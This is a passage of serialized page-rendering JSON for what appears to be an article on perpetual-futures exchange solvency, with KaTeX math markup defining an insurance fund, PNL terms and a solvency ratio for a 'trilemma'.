8723em;margin-left:0em;",[4021,4026],{"type":26,"tag":217,"props":4022,"children":4025},{"className":4023,"style":4024},[320],"height:3.05em;",[],{"type":26,"tag":217,"props":4027,"children":4029},{"className":4028},[2187,2188,2189,2190],[4030],{"type":26,"tag":217,"props":4031,"children":4033},{"className":4032},[247,2152,2190],[4034],{"type":32,"value":2290},{"type":26,"tag":217,"props":4036,"children":4038},{"style":4037},"top:-3.05em;",[4039,4043],{"type":26,"tag":217,"props":4040,"children":4042},{"className":4041,"style":4024},[320],[],{"type":26,"tag":217,"props":4044,"children":4045},{},[4046],{"type":26,"tag":217,"props":4047,"children":4051},{"className":4048},[1842,4049,4050],"op-symbol","large-op",[4052],{"type":32,"value":4053},"∑",{"type":26,"tag":217,"props":4055,"children":4057},{"className":4056},[409],[4058],{"type":32,"value":412},{"type":26,"tag":217,"props":4060,"children":4062},{"className":4061},[305],[4063],{"type":26,"tag":217,"props":4064,"children":4067},{"className":4065,"style":4066},[310],"height:1.2777em;",[4068],{"type":26,"tag":217,"props":4069,"children":4070},{},[],{"type":26,"tag":217,"props":4072,"children":4074},{"className":4073,"style":1872},[258],[],{"type":26,"tag":217,"props":4076,"children":4078},{"className":4077},[247],[4079,4084],{"type":26,"tag":217,"props":4080,"children":4082},{"className":4081},[247,2152],[4083],{"type":32,"value":2542},{"type":26,"tag":217,"props":4085,"children":4087},{"className":4086},[2160],[4088],{"type":26,"tag":217,"props":4089,"children":4091},{"className":4090},[299,300],[4092,4121],{"type":26,"tag":217,"props":4093,"children":4095},{"className":4094},[305],[4096,4116],{"type":26,"tag":217,"props":4097,"children":4099},{"className":4098,"style":2271},[310],[4100],{"type":26,"tag":217,"props":4101,"children":4102},{"style":2275},[4103,4107],{"type":26,"tag":217,"props":4104,"children":4106},{"className":4105,"style":2182},[320],[],{"type":26,"tag":217,"props":4108,"children":4110},{"className":4109},[2187,2188,2189,2190],[4111],{"type":26,"tag":217,"props":4112,"children":4114},{"className":4113},[247,2152,2190],[4115],{"type":32,"value":2290},{"type":26,"tag":217,"props":4117,"children":4119},{"className":4118},[409],[4120],{"type":32,"value":412},{"type":26,"tag":217,"props":4122,"children":4124},{"className":4123},[305],[4125],{"type":26,"tag":217,"props":4126,"children":4128},{"className":4127,"style":2210},[310],[4129],{"type":26,"tag":217,"props":4130,"children":4131},{},[],{"type":26,"tag":217,"props":4133,"children":4134},{"style":2736},[4135,4139],{"type":26,"tag":217,"props":4136,"children":4138},{"className":4137,"style":2139},[320],[],{"type":26,"tag":217,"props":4140,"children":4142},{"className":4141},[247],[4143,4147,4151,4156,4160,4223,4227,4232,4237,4242,4299,4304,4308,4312,4317],{"type":26,"tag":217,"props":4144,"children":4146},{"className":4145},[247],[],{"type":26,"tag":217,"props":4148,"children":4150},{"className":4149,"style":259},[258],[],{"type":26,"tag":217,"props":4152,"children":4154},{"className":4153},[264],[4155],{"type":32,"value":267},{"type":26,"tag":217,"props":4157,"children":4159},{"className":4158,"style":259},[258],[],{"type":26,"tag":217,"props":4161,"children":4163},{"className":4162},[1842,4002],[4164],{"type":26,"tag":217,"props":4165,"children":4167},{"className":4166},[299,300],[4168,4212],{"type":26,"tag":217,"props":4169,"children":4171},{"className":4170},[305],[4172,4207],{"type":26,"tag":217,"props":4173,"children":4175},{"className":4174,"style":4015},[310],[4176,4192],{"type":26,"tag":217,"props":4177,"children":4178},{"style":4019},[4179,4183],{"type":26,"tag":217,"props":4180,"children":4182},{"className":4181,"style":4024},[320],[],{"type":26,"tag":217,"props":4184,"children":4186},{"className":4185},[2187,2188,2189,2190],[4187],{"type":26,"tag":217,"props":4188,"children":4190},{"className":4189},[247,2152,2190],[4191],{"type":32,"value":2290},{"type":26,"tag":217,"props":4193,"children":4194},{"style":4037},[4195,4199],{"type":26,"tag":217,"props":4196,"children":4198},{"className":4197,"style":4024},[320],[],{"type":26,"tag":217,"props":4200,"children":4201},{},[4202],{"type":26,"tag":217,"props":4203,"children":4205},{"className":4204},[1842,4049,4050],[4206],{"type":32,"value":4053},{"type":26,"tag":217,"props":4208,"children":4210},{"className":4209},[409],[4211],{"type":32,"value":412},{"type":26,"tag":217,"props":4213,"children":4215},{"className":4214},[305],[4216],{"type":26,"tag":217,"props":4217,"children":4219},{"className":4218,"style":4066},[310],[4220],{"type":26,"tag":217,"props":4221,"children":4222},{},[],{"type":26,"tag":217,"props":4224,"children":4226},{"className":4225,"style":1872},[258],[],{"type":26,"tag":217,"props":4228,"children":4230},{"className":4229},[1842],[4231],{"type":32,"value":1845},{"type":26,"tag":217,"props":4233,"children":4235},{"className":4234},[288],[4236],{"type":32,"value":1851},{"type":26,"tag":217,"props":4238,"children":4240},{"className":4239},[247],[4241],{"type":32,"value":3379},{"type":26,"tag":217,"props":4243,"children":4245},{"className":4244},[247],[4246,4251],{"type":26,"tag":217,"props":4247,"children":4249},{"className":4248},[247,2152],[4250],{"type":32,"value":2400},{"type":26,"tag":217,"props":4252,"children":4254},{"className":4253},[2160],[4255],{"type":26,"tag":217,"props":4256,"children":4258},{"className":4257},[299,300],[4259,4288],{"type":26,"tag":217,"props":4260,"children":4262},{"className":4261},[305],[4263,4283],{"type":26,"tag":217,"props":4264,"children":4266},{"className":4265,"style":2271},[310],[4267],{"type":26,"tag":217,"props":4268,"children":4269},{"style":2275},[4270,4274],{"type":26,"tag":217,"props":4271,"children":4273},{"className":4272,"style":2182},[320],[],{"type":26,"tag":217,"props":4275,"children":4277},{"className":4276},[2187,2188,2189,2190],[4278],{"type":26,"tag":217,"props":4279,"children":4281},{"className":4280},[247,2152,2190],[4282],{"type":32,"value":2290},{"type":26,"tag":217,"props":4284,"children":4286},{"className":4285},[409],[4287],{"type":32,"value":412},{"type":26,"tag":217,"props":4289,"children":4291},{"className":4290},[305],[4292],{"type":26,"tag":217,"props":4293,"children":4295},{"className":4294,"style":2210},[310],[4296],{"type":26,"tag":217,"props":4297,"children":4298},{},[],{"type":26,"tag":217,"props":4300,"children":4302},{"className":4301},[1865],[4303],{"type":32,"value":1868},{"type":26,"tag":217,"props":4305,"children":4307},{"className":4306,"style":1872},[258],[],{"type":26,"tag":217,"props":4309,"children":4311},{"className":4310,"style":1872},[258],[],{"type":26,"tag":217,"props":4313,"children":4315},{"className":4314},[247],[4316],{"type":32,"value":1883},{"type":26,"tag":217,"props":4318,"children":4320},{"className":4319},[428],[4321],{"type":32,"value":1889},{"type":26,"tag":217,"props":4323,"children":4324},{"style":2808},[4325,4329],{"type":26,"tag":217,"props":4326,"children":4328},{"className":4327,"style":2139},[320],[],{"type":26,"tag":217,"props":4330,"children":4332},{"className":4331},[247],[4333,4337,4341,4346,4350,4413,4417],{"type":26,"tag":217,"props":4334,"children":4336},{"className":4335},[247],[],{"type":26,"tag":217,"props":4338,"children":4340},{"className":4339,"style":259},[258],[],{"type":26,"tag":217,"props":4342,"children":4344},{"className":4343},[264],[4345],{"type":32,"value":267},{"type":26,"tag":217,"props":4347,"children":4349},{"className":4348,"style":259},[258],[],{"type":26,"tag":217,"props":4351,"children":4353},{"className":4352},[1842,4002],[4354],{"type":26,"tag":217,"props":4355,"children":4357},{"className":4356},[299,300],[4358,4402],{"type":26,"tag":217,"props":4359,"children":4361},{"className":4360},[305],[4362,4397],{"type":26,"tag":217,"props":4363,"children":4365},{"className":4364,"style":4015},[310],[4366,4382],{"type":26,"tag":217,"props":4367,"children":4368},{"style":4019},[4369,4373],{"type":26,"tag":217,"props":4370,"children":4372},{"className":4371,"style":4024},[320],[],{"type":26,"tag":217,"props":4374,"children":4376},{"className":4375},[2187,2188,2189,2190],[4377],{"type":26,"tag":217,"props":4378,"children":4380},{"className":4379},[247,2152,2190],[4381],{"type":32,"value":2290},{"type":26,"tag":217,"props":4383,"children":4384},{"style":4037},[4385,4389],{"type":26,"tag":217,"props":4386,"children":4388},{"className":4387,"style":4024},[320],[],{"type":26,"tag":217,"props":4390,"children":4391},{},[4392],{"type":26,"tag":217,"props":4393,"children":4395},{"className":4394},[1842,4049,4050],[4396],{"type":32,"value":4053},{"type":26,"tag":217,"props":4398,"children":4400},{"className":4399},[409],[4401],{"type":32,"value":412},{"type":26,"tag":217,"props":4403,"children":4405},{"className":4404},[305],[4406],{"type":26,"tag":217,"props":4407,"children":4409},{"className":4408,"style":4066},[310],[4410],{"type":26,"tag":217,"props":4411,"children":4412},{},[],{"type":26,"tag":217,"props":4414,"children":4416},{"className":4415,"style":1872},[258],[],{"type":26,"tag":217,"props":4418,"children":4420},{"className":4419},[247],[4421,4426],{"type":26,"tag":217,"props":4422,"children":4424},{"className":4423,"style":2468},[247,2152],[4425],{"type":32,"value":2471},{"type":26,"tag":217,"props":4427,"children":4429},{"className":4428},[2160],[4430],{"type":26,"tag":217,"props":4431,"children":4433},{"className":4432},[299,300],[4434,4463],{"type":26,"tag":217,"props":4435,"children":4437},{"className":4436},[305],[4438,4458],{"type":26,"tag":217,"props":4439,"children":4441},{"className":4440,"style":2271},[310],[4442],{"type":26,"tag":217,"props":4443,"children":4444},{"style":2490},[4445,4449],{"type":26,"tag":217,"props":4446,"children":4448},{"className":4447,"style":2182},[320],[],{"type":26,"tag":217,"props":4450,"children":4452},{"className":4451},[2187,2188,2189,2190],[4453],{"type":26,"tag":217,"props":4454,"children":4456},{"className":4455},[247,2152,2190],[4457],{"type":32,"value":2290},{"type":26,"tag":217,"props":4459,"children":4461},{"className":4460},[409],[4462],{"type":32,"value":412},{"type":26,"tag":217,"props":4464,"children":4466},{"className":4465},[305],[4467],{"type":26,"tag":217,"props":4468,"children":4470},{"className":4469,"style":2210},[310],[4471],{"type":26,"tag":217,"props":4472,"children":4473},{},[],{"type":26,"tag":217,"props":4475,"children":4476},{"style":2880},[4477,4481],{"type":26,"tag":217,"props":4478,"children":4480},{"className":4479,"style":2139},[320],[],{"type":26,"tag":217,"props":4482,"children":4484},{"className":4483},[247],[4485,4489,4493,4498,4502,4507,4512,4569,4573,4578,4582,4587,4591,4596,4600,4657,4662,4666,4670,4675],{"type":26,"tag":217,"props":4486,"children":4488},{"className":4487},[247],[],{"type":26,"tag":217,"props":4490,"children":4492},{"className":4491,"style":259},[258],[],{"type":26,"tag":217,"props":4494,"children":4496},{"className":4495},[264],[4497],{"type":32,"value":267},{"type":26,"tag":217,"props":4499,"children":4501},{"className":4500,"style":259},[258],[],{"type":26,"tag":217,"props":4503,"children":4505},{"className":4504},[1842],[4506],{"type":32,"value":1845},{"type":26,"tag":217,"props":4508,"children":4510},{"className":4509},[288],[4511],{"type":32,"value":1851},{"type":26,"tag":217,"props":4513,"children":4515},{"className":4514},[247],[4516,4521],{"type":26,"tag":217,"props":4517,"children":4519},{"className":4518,"style":2753},[247,2152],[4520],{"type":32,"value":2756},{"type":26,"tag":217,"props":4522,"children":4524},{"className":4523},[2160],[4525],{"type":26,"tag":217,"props":4526,"children":4528},{"className":4527},[299,300],[4529,4558],{"type":26,"tag":217,"props":4530,"children":4532},{"className":4531},[305],[4533,4553],{"type":26,"tag":217,"props":4534,"children":4536},{"className":4535,"style":2699},[310],[4537],{"type":26,"tag":217,"props":4538,"children":4539},{"style":2775},[4540,4544],{"type":26,"tag":217,"props":4541,"children":4543},{"className":4542,"style":2182},[320],[],{"type":26,"tag":217,"props":4545,"children":4547},{"className":4546},[2187,2188,2189,2190],[4548],{"type":26,"tag":217,"props":4549,"children":4551},{"className":4550,"style":2153},[247,2152,2190],[4552],{"type":32,"value":178},{"type":26,"tag":217,"props":4554,"children":4556},{"className":4555},[409],[4557],{"type":32,"value":412},{"type":26,"tag":217,"props":4559,"children":4561},{"className":4560},[305],[4562],{"type":26,"tag":217,"props":4563,"children":4565},{"className":4564,"style":2210},[310],[4566],{"type":26,"tag":217,"props":4567,"children":4568},{},[],{"type":26,"tag":217,"props":4570,"children":4572},{"className":4571,"style":336},[258],[],{"type":26,"tag":217,"props":4574,"children":4576},{"className":4575},[341],[4577],{"type":32,"value":3379},{"type":26,"tag":217,"props":4579,"children":4581},{"className":4580,"style":336},[258],[],{"type":26,"tag":217,"props":4583,"children":4585},{"className":4584,"style":2230},[247,2152],[4586],{"type":32,"value":2233},{"type":26,"tag":217,"props":4588,"children":4590},{"className":4589,"style":336},[258],[],{"type":26,"tag":217,"props":4592,"children":4594},{"className":4593},[341],[4595],{"type":32,"value":3379},{"type":26,"tag":217,"props":4597,"children":4599},{"className":4598,"style":336},[258],[],{"type":26,"tag":217,"props":4601,"children":4603},{"className":4602},[247],[4604,4609],{"type":26,"tag":217,"props":4605,"children":4607},{"className":4606,"style":2680},[247,2152],[4608],{"type":32,"value":2683},{"type":26,"tag":217,"props":4610,"children":4612},{"className":4611},[2160],[4613],{"type":26,"tag":217,"props":4614,"children":4616},{"className":4615},[299,300],[4617,4646],{"type":26,"tag":217,"props":4618,"children":4620},{"className":4619},[305],[4621,4641],{"type":26,"tag":217,"props":4622,"children":4624},{"className":4623,"style":2699},[310],[4625],{"type":26,"tag":217,"props":4626,"children":4627},{"style":2703},[4628,4632],{"type":26,"tag":217,"props":4629,"children":4631},{"className":4630,"style":2182},[320],[],{"type":26,"tag":217,"props":4633,"children":4635},{"className":4634},[2187,2188,2189,2190],[4636],{"type":26,"tag":217,"props":4637,"children":4639},{"className":4638,"style":2153},[247,2152,2190],[4640],{"type":32,"value":178},{"type":26,"tag":217,"props":4642,"children":4644},{"className":4643},[409],[4645],{"type":32,"value":412},{"type":26,"tag":217,"props":4647,"children":4649},{"className":4648},[305],[4650],{"type":26,"tag":217,"props":4651,"children":4653},{"className":4652,"style":2210},[310],[4654],{"type":26,"tag":217,"props":4655,"children":4656},{},[],{"type":26,"tag":217,"props":4658,"children":4660},{"className":4659},[1865],[4661],{"type":32,"value":1868},{"type":26,"tag":217,"props":4663,"children":4665},{"className":4664,"style":1872},[258],[],{"type":26,"tag":217,"props":4667,"children":4669},{"className":4668,"style":1872},[258],[],{"type":26,"tag":217,"props":4671,"children":4673},{"className":4672},[247],[4674],{"type":32,"value":1883},{"type":26,"tag":217,"props":4676,"children":4678},{"className":4677},[428],[4679],{"type":32,"value":1889},{"type":26,"tag":217,"props":4681,"children":4683},{"className":4682},[409],[4684],{"type":32,"value":412},{"type":26,"tag":217,"props":4686,"children":4688},{"className":4687},[305],[4689],{"type":26,"tag":217,"props":4690,"children":4692},{"className":4691,"style":2964},[310],[4693],{"type":26,"tag":217,"props":4694,"children":4695},{},[],{"type":26,"tag":39,"props":4697,"children":4698},{},[4699,4700,4779,4781,4807,4809,4887,4889,4966],{"type":32,"value":1851},{"type":26,"tag":83,"props":4701,"children":4704},{"className":4702},[213,4703],"math-inline",[4705],{"type":26,"tag":217,"props":4706,"children":4708},{"className":4707},[225],[4709],{"type":26,"tag":217,"props":4710,"children":4712},{"className":4711,"ariaHidden":231},[230],[4713],{"type":26,"tag":217,"props":4714,"children":4716},{"className":4715},[236],[4717,4722],{"type":26,"tag":217,"props":4718,"children":4721},{"className":4719,"style":4720},[241],"height:0.8333em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":4723,"children":4725},{"className":4724},[247],[4726,4731],{"type":26,"tag":217,"props":4727,"children":4729},{"className":4728,"style":2153},[247,2152],[4730],{"type":32,"value":2156},{"type":26,"tag":217,"props":4732,"children":4734},{"className":4733},[2160],[4735],{"type":26,"tag":217,"props":4736,"children":4738},{"className":4737},[299,300],[4739,4768],{"type":26,"tag":217,"props":4740,"children":4742},{"className":4741},[305],[4743,4763],{"type":26,"tag":217,"props":4744,"children":4746},{"className":4745,"style":2173},[310],[4747],{"type":26,"tag":217,"props":4748,"children":4749},{"style":2177},[4750,4754],{"type":26,"tag":217,"props":4751,"children":4753},{"className":4752,"style":2182},[320],[],{"type":26,"tag":217,"props":4755,"children":4757},{"className":4756},[2187,2188,2189,2190],[4758],{"type":26,"tag":217,"props":4759,"children":4761},{"className":4760},[247,2152,2190],[4762],{"type":32,"value":2197},{"type":26,"tag":217,"props":4764,"children":4766},{"className":4765},[409],[4767],{"type":32,"value":412},{"type":26,"tag":217,"props":4769,"children":4771},{"className":4770},[305],[4772],{"type":26,"tag":217,"props":4773,"children":4775},{"className":4774,"style":2210},[310],[4776],{"type":26,"tag":217,"props":4777,"children":4778},{},[],{"type":32,"value":4780},": mark price from different sources; ",{"type":26,"tag":83,"props":4782,"children":4784},{"className":4783},[213,4703],[4785],{"type":26,"tag":217,"props":4786,"children":4788},{"className":4787},[225],[4789],{"type":26,"tag":217,"props":4790,"children":4792},{"className":4791,"ariaHidden":231},[230],[4793],{"type":26,"tag":217,"props":4794,"children":4796},{"className":4795},[236],[4797,4802],{"type":26,"tag":217,"props":4798,"children":4801},{"className":4799,"style":4800},[241],"height:0.6833em;",[],{"type":26,"tag":217,"props":4803,"children":4805},{"className":4804,"style":2230},[247,2152],[4806],{"type":32,"value":2233},{"type":32,"value":4808},": insurance fund, roughly the 5M on testnet HL; ",{"type":26,"tag":83,"props":4810,"children":4812},{"className":4811},[213,4703],[4813],{"type":26,"tag":217,"props":4814,"children":4816},{"className":4815},[225],[4817],{"type":26,"tag":217,"props":4818,"children":4820},{"className":4819,"ariaHidden":231},[230],[4821],{"type":26,"tag":217,"props":4822,"children":4824},{"className":4823},[236],[4825,4830],{"type":26,"tag":217,"props":4826,"children":4829},{"className":4827,"style":4828},[241],"height:0.5806em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":4831,"children":4833},{"className":4832},[247],[4834,4839],{"type":26,"tag":217,"props":4835,"children":4837},{"className":4836,"style":2326},[247,2152],[4838],{"type":32,"value":2329},{"type":26,"tag":217,"props":4840,"children":4842},{"className":4841},[2160],[4843],{"type":26,"tag":217,"props":4844,"children":4846},{"className":4845},[299,300],[4847,4876],{"type":26,"tag":217,"props":4848,"children":4850},{"className":4849},[305],[4851,4871],{"type":26,"tag":217,"props":4852,"children":4854},{"className":4853,"style":2271},[310],[4855],{"type":26,"tag":217,"props":4856,"children":4857},{"style":2348},[4858,4862],{"type":26,"tag":217,"props":4859,"children":4861},{"className":4860,"style":2182},[320],[],{"type":26,"tag":217,"props":4863,"children":4865},{"className":4864},[2187,2188,2189,2190],[4866],{"type":26,"tag":217,"props":4867,"children":4869},{"className":4868},[247,2152,2190],[4870],{"type":32,"value":2290},{"type":26,"tag":217,"props":4872,"children":4874},{"className":4873},[409],[4875],{"type":32,"value":412},{"type":26,"tag":217,"props":4877,"children":4879},{"className":4878},[305],[4880],{"type":26,"tag":217,"props":4881,"children":4883},{"className":4882,"style":2210},[310],[4884],{"type":26,"tag":217,"props":4885,"children":4886},{},[],{"type":32,"value":4888}," is PNL for longs, negated for shorts; ",{"type":26,"tag":83,"props":4890,"children":4892},{"className":4891},[213,4703],[4893],{"type":26,"tag":217,"props":4894,"children":4896},{"className":4895},[225],[4897],{"type":26,"tag":217,"props":4898,"children":4900},{"className":4899,"ariaHidden":231},[230],[4901],{"type":26,"tag":217,"props":4902,"children":4904},{"className":4903},[236],[4905,4909],{"type":26,"tag":217,"props":4906,"children":4908},{"className":4907,"style":4828},[241],[],{"type":26,"tag":217,"props":4910,"children":4912},{"className":4911},[247],[4913,4918],{"type":26,"tag":217,"props":4914,"children":4916},{"className":4915,"style":2468},[247,2152],[4917],{"type":32,"value":2471},{"type":26,"tag":217,"props":4919,"children":4921},{"className":4920},[2160],[4922],{"type":26,"tag":217,"props":4923,"children":4925},{"className":4924},[299,300],[4926,4955],{"type":26,"tag":217,"props":4927,"children":4929},{"className":4928},[305],[4930,4950],{"type":26,"tag":217,"props":4931,"children":4933},{"className":4932,"style":2271},[310],[4934],{"type":26,"tag":217,"props":4935,"children":4936},{"style":2490},[4937,4941],{"type":26,"tag":217,"props":4938,"children":4940},{"className":4939,"style":2182},[320],[],{"type":26,"tag":217,"props":4942,"children":4944},{"className":4943},[2187,2188,2189,2190],[4945],{"type":26,"tag":217,"props":4946,"children":4948},{"className":4947},[247,2152,2190],[4949],{"type":32,"value":2290},{"type":26,"tag":217,"props":4951,"children":4953},{"className":4952},[409],[4954],{"type":32,"value":412},{"type":26,"tag":217,"props":4956,"children":4958},{"className":4957},[305],[4959],{"type":26,"tag":217,"props":4960,"children":4962},{"className":4961,"style":2210},[310],[4963],{"type":26,"tag":217,"props":4964,"children":4965},{},[],{"type":32,"value":4967}," is the positive part of PNL.)",{"type":26,"tag":39,"props":4969,"children":4970},{},[4971],{"type":32,"value":4972},"And let's make the trilemma definitions concrete:",{"type":26,"tag":2040,"props":4974,"children":4975},{},[4976,5461,6031],{"type":26,"tag":2044,"props":4977,"children":4978},{},[4979,4983,4985,5245,5247,5301,5303,5406,5408,5459],{"type":26,"tag":65,"props":4980,"children":4981},{},[4982],{"type":32,"value":2051},{"type":32,"value":4984}," = ",{"type":26,"tag":83,"props":4986,"children":4988},{"className":4987},[213,4703],[4989],{"type":26,"tag":217,"props":4990,"children":4992},{"className":4991},[225],[4993],{"type":26,"tag":217,"props":4994,"children":4996},{"className":4995,"ariaHidden":231},[230],[4997,5024],{"type":26,"tag":217,"props":4998,"children":5000},{"className":4999},[236],[5001,5006,5011,5015,5020],{"type":26,"tag":217,"props":5002,"children":5005},{"className":5003,"style":5004},[241],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":26,"tag":217,"props":5007,"children":5009},{"className":5008},[247],[5010],{"type":32,"value":185},{"type":26,"tag":217,"props":5012,"children":5014},{"className":5013,"style":336},[258],[],{"type":26,"tag":217,"props":5016,"children":5018},{"className":5017},[341],[5019],{"type":32,"value":3379},{"type":26,"tag":217,"props":5021,"children":5023},{"className":5022,"style":336},[258],[],{"type":26,"tag":217,"props":5025,"children":5027},{"className":5026},[236],[5028,5033],{"type":26,"tag":217,"props":5029,"children":5032},{"className":5030,"style":5031},[241],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":26,"tag":217,"props":5034,"children":5036},{"className":5035},[247],[5037,5041,5241],{"type":26,"tag":217,"props":5038,"children":5040},{"className":5039},[288,289],[],{"type":26,"tag":217,"props":5042,"children":5044},{"className":5043},[294],[5045],{"type":26,"tag":217,"props":5046,"children":5048},{"className":5047},[299,300],[5049,5229],{"type":26,"tag":217,"props":5050,"children":5052},{"className":5051},[305],[5053,5224],{"type":26,"tag":217,"props":5054,"children":5057},{"className":5055,"style":5056},[310],"height:0.8884em;",[5058,5137,5148],{"type":26,"tag":217,"props":5059,"children":5061},{"style":5060},"top:-2.655em;",[5062,5066],{"type":26,"tag":217,"props":5063,"children":5065},{"className":5064,"style":321},[320],[],{"type":26,"tag":217,"props":5067,"children":5069},{"className":5068},[2187,2188,2189,2190],[5070],{"type":26,"tag":217,"props":5071,"children":5073},{"className":5072},[247,2190],[5074],{"type":26,"tag":217,"props":5075,"children":5077},{"className":5076},[247,2190],[5078,5083],{"type":26,"tag":217,"props":5079,"children":5081},{"className":5080,"style":2753},[247,2152,2190],[5082],{"type":32,"value":2756},{"type":26,"tag":217,"props":5084,"children":5086},{"className":5085},[2160],[5087],{"type":26,"tag":217,"props":5088,"children":5090},{"className":5089},[299,300],[5091,5125],{"type":26,"tag":217,"props":5092,"children":5094},{"className":5093},[305],[5095,5120],{"type":26,"tag":217,"props":5096,"children":5099},{"className":5097,"style":5098},[310],"height:0.3448em;",[5100],{"type":26,"tag":217,"props":5101,"children":5103},{"style":5102},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[5104,5109],{"type":26,"tag":217,"props":5105,"children":5108},{"className":5106,"style":5107},[320],"height:2.5em;",[],{"type":26,"tag":217,"props":5110,"children":5114},{"className":5111},[2187,5112,5113,2190],"reset-size3","size1",[5115],{"type":26,"tag":217,"props":5116,"children":5118},{"className":5117,"style":2153},[247,2152,2190],[5119],{"type":32,"value":178},{"type":26,"tag":217,"props":5121,"children":5123},{"className":5122},[409],[5124],{"type":32,"value":412},{"type":26,"tag":217,"props":5126,"children":5128},{"className":5127},[305],[5129],{"type":26,"tag":217,"props":5130,"children":5133},{"className":5131,"style":5132},[310],"height:0.1433em;",[5134],{"type":26,"tag":217,"props":5135,"children":5136},{},[],{"type":26,"tag":217,"props":5138,"children":5139},{"style":361},[5140,5144],{"type":26,"tag":217,"props":5141,"children":5143},{"className":5142,"style":321},[320],[],{"type":26,"tag":217,"props":5145,"children":5147},{"className":5146,"style":371},[370],[],{"type":26,"tag":217,"props":5149,"children":5151},{"style":5150},"top:-3.4101em;",[5152,5156],{"type":26,"tag":217,"props":5153,"children":5155},{"className":5154,"style":321},[320],[],{"type":26,"tag":217,"props":5157,"children":5159},{"className":5158},[2187,2188,2189,2190],[5160],{"type":26,"tag":217,"props":5161,"children":5163},{"className":5162},[247,2190],[5164],{"type":26,"tag":217,"props":5165,"children":5167},{"className":5166},[247,2190],[5168,5173],{"type":26,"tag":217,"props":5169,"children":5171},{"className":5170,"style":2897},[247,2152,2190],[5172],{"type":32,"value":2900},{"type":26,"tag":217,"props":5174,"children":5176},{"className":5175},[2160],[5177],{"type":26,"tag":217,"props":5178,"children":5180},{"className":5179},[299,300],[5181,5212],{"type":26,"tag":217,"props":5182,"children":5184},{"className":5183},[305],[5185,5207],{"type":26,"tag":217,"props":5186,"children":5189},{"className":5187,"style":5188},[310],"height:0.2963em;",[5190],{"type":26,"tag":217,"props":5191,"children":5193},{"style":5192},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[5194,5198],{"type":26,"tag":217,"props":5195,"children":5197},{"className":5196,"style":5107},[320],[],{"type":26,"tag":217,"props":5199,"children":5201},{"className":5200},[2187,5112,5113,2190],[5202],{"type":26,"tag":217,"props":5203,"children":5205},{"className":5204},[247,2152,2190],[5206],{"type":32,"value":2935},{"type":26,"tag":217,"props":5208,"children":5210},{"className":5209},[409],[5211],{"type":32,"value":412},{"type":26,"tag":217,"props":5213,"children":5215},{"className":5214},[305],[5216],{"type":26,"tag":217,"props":5217,"children":5220},{"className":5218,"style":5219},[310],"height:0.143em;",[5221],{"type":26,"tag":217,"props":5222,"children":5223},{},[],{"type":26,"tag":217,"props":5225,"children":5227},{"className":5226},[409],[5228],{"type":32,"value":412},{"type":26,"tag":217,"props":5230,"children":5232},{"className":5231},[305],[5233],{"type":26,"tag":217,"props":5234,"children":5237},{"className":5235,"style":5236},[310],"height:0.4453em;",[5238],{"type":26,"tag":217,"props":5239,"children":5240},{},[],{"type":26,"tag":217,"props":5242,"children":5244},{"className":5243},[428,289],[],{"type":32,"value":5246}," — how much of the total bad debt was actually covered. ",{"type":26,"tag":83,"props":5248,"children":5250},{"className":5249},[213,4703],[5251],{"type":26,"tag":217,"props":5252,"children":5254},{"className":5253},[225],[5255],{"type":26,"tag":217,"props":5256,"children":5258},{"className":5257,"ariaHidden":231},[230],[5259,5287],{"type":26,"tag":217,"props":5260,"children":5262},{"className":5261},[236],[5263,5267,5274,5278,5283],{"type":26,"tag":217,"props":5264,"children":5266},{"className":5265,"style":4800},[241],[],{"type":26,"tag":217,"props":5268,"children":5271},{"className":5269,"style":5270},[247,2152],"margin-right:0.05764em;",[5272],{"type":32,"value":5273},"S",{"type":26,"tag":217,"props":5275,"children":5277},{"className":5276,"style":259},[258],[],{"type":26,"tag":217,"props":5279,"children":5281},{"className":5280},[264],[5282],{"type":32,"value":267},{"type":26,"tag":217,"props":5284,"children":5286},{"className":5285,"style":259},[258],[],{"type":26,"tag":217,"props":5288,"children":5290},{"className":5289},[236],[5291,5296],{"type":26,"tag":217,"props":5292,"children":5295},{"className":5293,"style":5294},[241],"height:0.6444em;",[],{"type":26,"tag":217,"props":5297,"children":5299},{"className":5298},[247],[5300],{"type":32,"value":185},{"type":32,"value":5302}," means fully solvent (",{"type":26,"tag":83,"props":5304,"children":5306},{"className":5305},[213,4703],[5307],{"type":26,"tag":217,"props":5308,"children":5310},{"className":5309},[225],[5311],{"type":26,"tag":217,"props":5312,"children":5314},{"className":5313,"ariaHidden":231},[230],[5315,5393],{"type":26,"tag":217,"props":5316,"children":5318},{"className":5317},[236],[5319,5323,5380,5384,5389],{"type":26,"tag":217,"props":5320,"children":5322},{"className":5321,"style":4720},[241],[],{"type":26,"tag":217,"props":5324,"children":5326},{"className":5325},[247],[5327,5332],{"type":26,"tag":217,"props":5328,"children":5330},{"className":5329,"style":2897},[247,2152],[5331],{"type":32,"value":2900},{"type":26,"tag":217,"props":5333,"children":5335},{"className":5334},[2160],[5336],{"type":26,"tag":217,"props":5337,"children":5339},{"className":5338},[299,300],[5340,5369],{"type":26,"tag":217,"props":5341,"children":5343},{"className":5342},[305],[5344,5364],{"type":26,"tag":217,"props":5345,"children":5347},{"className":5346,"style":2916},[310],[5348],{"type":26,"tag":217,"props":5349,"children":5350},{"style":2920},[5351,5355],{"type":26,"tag":217,"props":5352,"children":5354},{"className":5353,"style":2182},[320],[],{"type":26,"tag":217,"props":5356,"children":5358},{"className":5357},[2187,2188,2189,2190],[5359],{"type":26,"tag":217,"props":5360,"children":5362},{"className":5361},[247,2152,2190],[5363],{"type":32,"value":2935},{"type":26,"tag":217,"props":5365,"children":5367},{"className":5366},[409],[5368],{"type":32,"value":412},{"type":26,"tag":217,"props":5370,"children":5372},{"className":5371},[305],[5373],{"type":26,"tag":217,"props":5374,"children":5376},{"className":5375,"style":2210},[310],[5377],{"type":26,"tag":217,"props":5378,"children":5379},{},[],{"type":26,"tag":217,"props":5381,"children":5383},{"className":5382,"style":259},[258],[],{"type":26,"tag":217,"props":5385,"children":5387},{"className":5386},[264],[5388],{"type":32,"value":267},{"type":26,"tag":217,"props":5390,"children":5392},{"className":5391,"style":259},[258],[],{"type":26,"tag":217,"props":5394,"children":5396},{"className":5395},[236],[5397,5401],{"type":26,"tag":217,"props":5398,"children":5400},{"className":5399,"style":5294},[241],[],{"type":26,"tag":217,"props":5402,"children":5404},{"className":5403},[247],[5405],{"type":32,"value":1883},{"type":32,"val